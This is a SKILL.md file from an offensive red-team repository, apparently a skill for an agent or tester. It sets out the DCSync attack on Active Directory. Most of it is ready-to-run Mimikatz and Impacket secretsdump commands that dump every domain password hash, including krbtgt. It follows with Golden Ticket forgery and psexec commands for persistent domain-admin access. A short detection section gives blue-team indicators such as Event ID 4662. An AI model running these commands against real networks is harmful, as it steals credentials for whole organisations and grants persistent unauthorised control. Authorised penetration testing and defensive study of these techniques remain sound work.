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sunilgentyalasunilgentyala/OmniRed/skills/active-directory/dcsync/SKILL.md

dcsync

Skill5 starsChanged 5 months agoApache-2.0View on GitHub

DCSync attack methodology — replicate AD credentials from Domain Controllers without touching LSASS. Covers privilege requirements, execution, and credential extraction for all domain accounts including krbtgt.

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SKILL.md

DCSync

Overview

DCSync abuses the Directory Replication Service (DRS) protocol to request password hashes from a Domain Controller as if the attacker's machine were another DC. No code runs on the DC; no LSASS dump needed.

Required permissions (any one of):

  • Domain Admin / Enterprise Admin
  • Replicating Directory Changes + Replicating Directory Changes All (delegated)
  • Account Operators (in some configurations)

Execution

Mimikatz:

lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv

Impacket (Linux — remote):

impacket-secretsdump domain/admin:password@dc-ip -just-dc
impacket-secretsdump domain/admin:password@dc-ip -just-dc-ntlm
impacket-secretsdump domain/admin:password@dc-ip -just-dc-user krbtgt

With hash (no plaintext):

impacket-secretsdump -hashes :NTLM_HASH domain/admin@dc-ip -just-dc

High-Value Targets

krbtgt       → Golden Ticket creation (10-year TGT forgery)
Administrator → Direct domain admin access
MACHINE$     → Silver Ticket / Kerberos service attacks

Post-DCSync — Golden Ticket

# Generate Golden Ticket with krbtgt hash
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain domain.local administrator

# Use ticket
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass domain/administrator@dc-ip

Detection Notes (for blue team context in report)

  • DRS replication calls from non-DC hosts are highly anomalous
  • Windows Event ID 4662 with Object Type = "domainDNS" and Access Mask including "Replicating Directory Changes"
  • NetFlow anomalies on port 135/TCP (RPC endpoint mapping) from workstations to DC

MITRE ATT&CK

  • T1003.006 — OS Credential Dumping: DCSync

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